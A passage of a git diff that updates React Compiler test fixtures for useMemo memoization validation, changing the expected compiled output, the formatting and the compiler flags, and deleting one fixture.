+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+
+import {useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
+
+// We currently only recognize "hoistable" values (e.g. variable reads
+// and property loads from named variables) in the source depslist.
+// This makes validation logic simpler and follows the same constraints
+// from the eslint react-hooks-deps plugin.
+function Foo(props) {
+  const x = makeArray(props);
+  // react-hooks-deps lint would already fail here
+  return useMemo(() => [x[0]], [x[0]]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{val: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+
+import { useMemo } from "react";
+import { makeArray } from "shared-runtime";
+
+// We currently only recognize "hoistable" values (e.g. variable reads
+// and property loads from named variables) in the source depslist.
+// This makes validation logic simpler and follows the same constraints
+// from the eslint react-hooks-deps plugin.
+function Foo(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props) {
+    t0 = makeArray(props);
+    $[0] = props;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let t1;
+  if ($[2] !== x[0]) {
+    t1 = [x[0]];
+    $[2] = x[0];
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ val: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"val":1}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.ts
new file mode 100644
index 000000000000..7602807972d3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.ts
@@ -0,0 +1,19 @@
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+
+import {useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
+
+// We currently only recognize "hoistable" values (e.g. variable reads
+// and property loads from named variables) in the source depslist.
+// This makes validation logic simpler and follows the same constraints
+// from the eslint react-hooks-deps plugin.
+function Foo(props) {
+  const x = makeArray(props);
+  // react-hooks-deps lint would already fail here
+  return useMemo(() => [x[0]], [x[0]]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{val: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.expect.md
deleted file mode 100644
index 9d958cd2a040..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.expect.md
+++ /dev/null
@@ -1,58 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-
-import { useMemo } from "react";
-import { useHook } from "shared-runtime";
-
-// useMemo values may not be memoized in Forget output if we
-// infer that their deps always invalidate.
-// This is still correct as the useMemo in source was effectively
-// a no-op already.
-function useFoo(props) {
-  const x = [];
-  useHook();
-  x.push(props);
-
-  return useMemo(() => [x], [x]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{}],
-};
-
-```
-
-## Code
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-
-import { useMemo } from "react";
-import { useHook } from "shared-runtime";
-
-// useMemo values may not be memoized in Forget output if we
-// infer that their deps always invalidate.
-// This is still correct as the useMemo in source was effectively
-// a no-op already.
-function useFoo(props) {
-  const x = [];
-  useHook();
-  x.push(props);
-  let t0;
-  t0 = [x];
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{}],
-};
-
-```
-      
-### Eval output
-(kind: ok) [[{}]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.ts
deleted file mode 100644
index 7ee6f5958cd4..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dropped-infer-always-invalidating.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-
-import { useMemo } from "react";
-import { useHook } from "shared-runtime";
-
-// useMemo values may not be memoized in Forget output if we
-// infer that their deps always invalidate.
-// This is still correct as the useMemo in source was effectively
-// a no-op already.
-function useFoo(props) {
-  const x = [];
-  useHook();
-  x.push(props);
-
-  return useMemo(() => [x], [x]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.expect.md
index 6458e9812ac8..742b82098ffc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo, useState } from "react";
-import { arrayPush } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {arrayPush} from 'shared-runtime';
 
 // useMemo-produced values can exist in nested reactive blocks, as long
 // as their reactive dependencies are a subset of depslist from source
@@ -22,7 +22,7 @@ function useFoo(minWidth, otherProp) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [2, "other"],
+  params: [2, 'other'],
 };
 
 ```
@@ -40,27 +40,23 @@ function useFoo(minWidth, otherProp) {
   const $ = _c(6);
   const [width] = useState(1);
   let t0;
-  if ($[0] !== width || $[1] !== minWidth || $[2] !== otherProp) {
+  if ($[0] !== minWidth || $[1] !== otherProp || $[2] !== width) {
     const x = [];
-    let t1;
-
-    const t2 = Math.max(minWidth, width);
-    let t3;
-    if ($[4] !== t2) {
-      t3 = { width: t2 };
-      $[4] = t2;
-      $[5] = t3;
+    const t1 = Math.max(minWidth, width);
+    let t2;
+    if ($[4] !== t1) {
+      t2 = { width: t1 };
+      $[4] = t1;
+      $[5] = t2;
     } else {
-      t3 = $[5];
+      t2 = $[5];
     }
-    t1 = t3;
-    const style = t1;
-
+    const style = t2;
     arrayPush(x, otherProp);
     t0 = [style, x];
-    $[0] = width;
-    $[1] = minWidth;
-    $[2] = otherProp;
+    $[0] = minWidth;
+    $[1] = otherProp;
+    $[2] = width;
     $[3] = t0;
   } else {
     t0 = $[3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.ts
index e522426cb39f..e6bff448698f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo, useState } from "react";
-import { arrayPush } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {arrayPush} from 'shared-runtime';
 
 // useMemo-produced values can exist in nested reactive blocks, as long
 // as their reactive dependencies are a subset of depslist from source
@@ -18,5 +18,5 @@ function useFoo(minWidth, otherProp) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [2, "other"],
+  params: [2, 'other'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.expect.md
index e26e34b60f52..11025151911b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // It's correct to produce memo blocks with fewer deps than source
 function useFoo(a, b) {
@@ -21,7 +21,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 import { useMemo } from "react";
 
@@ -29,15 +29,13 @@ import { useMemo } from "react";
 function useFoo(a, b) {
   const $ = _c(2);
   let t0;
-  let t1;
   if ($[0] !== a) {
-    t1 = [a];
+    t0 = [a];
     $[0] = a;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   return t0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.ts
index b080af5e6d72..2ca2e7c71556 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.ts
@@ -1,6 +1,6 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // It's correct to produce memo blocks with fewer deps than source
 function useFoo(a, b) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.expect.md
index b7b6289cde19..fa68ee466954 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // More specific memoization always results in fewer memo block
 // executions.
@@ -17,7 +17,7 @@ function useHook(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ y: { z: 2 } }],
+  params: [{y: {z: 2}}],
 };
 
 ```
@@ -37,15 +37,13 @@ import { useMemo } from "react";
 function useHook(x) {
   const $ = _c(2);
   let t0;
-  let t1;
   if ($[0] !== x.y.z) {
-    t1 = [x.y.z];
+    t0 = [x.y.z];
     $[0] = x.y.z;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   return t0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.ts
index c4a87b7b2982..c42c03d49c27 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // More specific memoization always results in fewer memo block
 // executions.
@@ -13,5 +13,5 @@ function useHook(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useHook,
-  params: [{ y: { z: 2 } }],
+  params: [{y: {z: 2}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.expect.md
index 9693f6e708fe..ddcb2257dc02 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // It's correct to infer a useMemo value is non-allocating
 // and not provide it with a reactive scope
@@ -22,26 +22,14 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees
 
 import { useMemo } from "react";
 
 // It's correct to infer a useMemo value is non-allocating
 // and not provide it with a reactive scope
 function useFoo(num1, num2) {
-  const $ = _c(3);
-  let t0;
-  let t1;
-  if ($[0] !== num1 || $[1] !== num2) {
-    t1 = Math.min(num1, num2);
-    $[0] = num1;
-    $[1] = num2;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  t0 = t1;
-  return t0;
+  return Math.min(num1, num2);
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.ts
index 81f707049f15..1b3da7807fc1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
 // It's correct to infer a useMemo value is non-allocating
 // and not provide it with a reactive scope
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.expect.md
index 02cd6fa83930..3d146ba3e616 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
-import { CONST_STRING0 } from "shared-runtime";
+import {useMemo} from 'react';
+import {CONST_STRING0} from 'shared-runtime';
 
 // It's correct to infer a useMemo block has no reactive dependencies
 function useFoo() {
@@ -22,7 +22,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 import { useMemo } from "react";
 import { CONST_STRING0 } from "shared-runtime";
@@ -31,14 +31,12 @@ import { CONST_STRING0 } from "shared-runtime";
 function useFoo() {
   const $ = _c(1);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = [CONST_STRING0];
-    $[0] = t1;
+    t0 = [CONST_STRING0];
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   return t0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.ts
index 7470e42eabb0..3565dfd39b9f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
-import { useMemo } from "react";
-import { CONST_STRING0 } from "shared-runtime";
+import {useMemo} from 'react';
+import {CONST_STRING0} from 'shared-runtime';
 
 // It's correct to infer a useMemo block has no reactive dependencies
 function useFoo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.expect.md
index 891fad693f81..bd812aa404c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.expect.md
@@ -3,19 +3,19 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 function useFoo(data) {
   return useMemo(() => {
     const temp = identity(data.a);
-    return { temp };
+    return {temp};
   }, [data.a]);
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2 }],
+  params: [{a: 2}],
 };
 
 ```
@@ -30,25 +30,23 @@ import { identity } from "shared-runtime";
 function useFoo(data) {
   const $ = _c(4);
   let t0;
-  let t1;
   if ($[0] !== data.a) {
-    t1 = identity(data.a);
+    t0 = identity(data.a);
     $[0] = data.a;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  const temp = t1;
-  let t2;
+  const temp = t0;
+  let t1;
   if ($[2] !== temp) {
-    t2 = { temp };
+    t1 = { temp };
     $[2] = temp;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  t0 = t2;
-  return t0;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.ts
index 64485e759999..2d73e51a756e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.ts
@@ -1,15 +1,15 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 function useFoo(data) {
   return useMemo(() => {
     const temp = identity(data.a);
-    return { temp };
+    return {temp};
   }, [data.a]);
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2 }],
+  params: [{a: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.expect.md
index 0fa7fd6b10ef..d41c67039175 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.expect.md
@@ -4,9 +4,9 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function useFoo({ callback }) {
+function useFoo({callback}) {
   return useMemo(() => new Array(callback()), [callback]);
 }
 
@@ -15,7 +15,7 @@ export const FIXTURE_ENTRYPOINT = {
   params: [
     {
       callback: () => {
-        "use no forget";
+        'use no forget';
         return [1, 2, 3];
       },
     },
@@ -35,15 +35,13 @@ function useFoo(t0) {
   const $ = _c(2);
   const { callback } = t0;
   let t1;
-  let t2;
   if ($[0] !== callback) {
-    t2 = new Array(callback());
+    t1 = new Array(callback());
     $[0] = callback;
-    $[1] = t2;
+    $[1] = t1;
   } else {
-    t2 = $[1];
+    t1 = $[1];
   }
-  t1 = t2;
   return t1;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.ts
index ad3ad2d9b93a..cd609b3aa2ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.ts
@@ -1,8 +1,8 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function useFoo({ callback }) {
+function useFoo({callback}) {
   return useMemo(() => new Array(callback()), [callback]);
 }
 
@@ -11,7 +11,7 @@ export const FIXTURE_ENTRYPOINT = {
   params: [
     {
       callback: () => {
-        "use no forget";
+        'use no forget';
         return [1, 2, 3];
       },
     },
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.expect.md
index c7fd376912f5..7af90abc7b85 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.expect.md
@@ -2,14 +2,15 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function useFoo(arr1, arr2) {
   const x = [arr1];
 
   let y;
   return useMemo(() => {
-    return { y };
+    return {y};
   }, [((y = x.concat(arr2)), y)]);
 }
 
@@ -26,7 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 
 function useFoo(arr1, arr2) {
@@ -41,26 +42,22 @@ function useFoo(arr1, arr2) {
   }
   const x = t0;
   let y;
-  if ($[2] !== x || $[3] !== arr2) {
-    y;
+  if ($[2] !== arr2 || $[3] !== x) {
     (y = x.concat(arr2)), y;
-    $[2] = x;
-    $[3] = arr2;
+    $[2] = arr2;
+    $[3] = x;
     $[4] = y;
   } else {
     y = $[4];
   }
   let t1;
-  const t2 = y;
-  let t3;
-  if ($[5] !== t2) {
-    t3 = { y: t2 };
-    $[5] = t2;
-    $[6] = t3;
+  if ($[5] !== y) {
+    t1 = { y };
+    $[5] = y;
+    $[6] = t1;
   } else {
-    t3 = $[6];
+    t1 = $[6];
   }
-  t1 = t3;
   return t1;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.ts
index defb7ece1dfc..9838cd9456d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.ts
@@ -1,11 +1,12 @@
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function useFoo(arr1, arr2) {
   const x = [arr1];
 
   let y;
   return useMemo(() => {
-    return { y };
+    return {y};
   }, [((y = x.concat(arr2)), y)]);
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.expect.md
index 577db4ae91d5..5e7df69d98b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.expect.md
@@ -2,16 +2,17 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
-function Foo({ arr1, arr2, foo }) {
+function Foo({arr1, arr2, foo}) {
   const x = [arr1];
 
   let y = [];
 
   const val1 = useMemo(() => {
-    return { x: 2 };
+    return {x: 2};
   }, []);
 
   const val2 = useMemo(() => {
@@ -23,10 +24,10 @@ function Foo({ arr1, arr2, foo }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
   sequentialRenders: [
-    { arr1: [1, 2], arr2: [3, 4], foo: true },
-    { arr1: [1, 2], arr2: [3, 4], foo: false },
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
   ],
 };
 
@@ -35,60 +36,49 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 import { Stringify } from "shared-runtime";
 
 function Foo(t0) {
-  const $ = _c(11);
+  const $ = _c(9);
   const { arr1, arr2, foo } = t0;
   let t1;
-  if ($[0] !== arr1) {
-    t1 = [arr1];
-    $[0] = arr1;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  const x = t1;
-  let t2;
   let val1;
-  if ($[2] !== foo || $[3] !== x || $[4] !== arr2) {
-    let y;
-    y = [];
-    let t3;
-    let t4;
-    if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
-      t4 = { x: 2 };
-      $[7] = t4;
+  if ($[0] !== arr1 || $[1] !== arr2 || $[2] !== foo) {
+    const x = [arr1];
+    let y = [];
+    let t2;
+    if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+      t2 = { x: 2 };
+      $[5] = t2;
     } else {
-      t4 = $[7];
+      t2 = $[5];
     }
-    t3 = t4;
-    val1 = t3;
+    val1 = t2;
 
     foo ? (y = x.concat(arr2)) : y;
-    t2 = (() => [y])();
+    t1 = (() => [y])();
+    $[0] = arr1;
+    $[1] = arr2;
     $[2] = foo;
-    $[3] = x;
-    $[4] = arr2;
-    $[5] = t2;
-    $[6] = val1;
+    $[3] = t1;
+    $[4] = val1;
   } else {
-    t2 = $[5];
-    val1 = $[6];
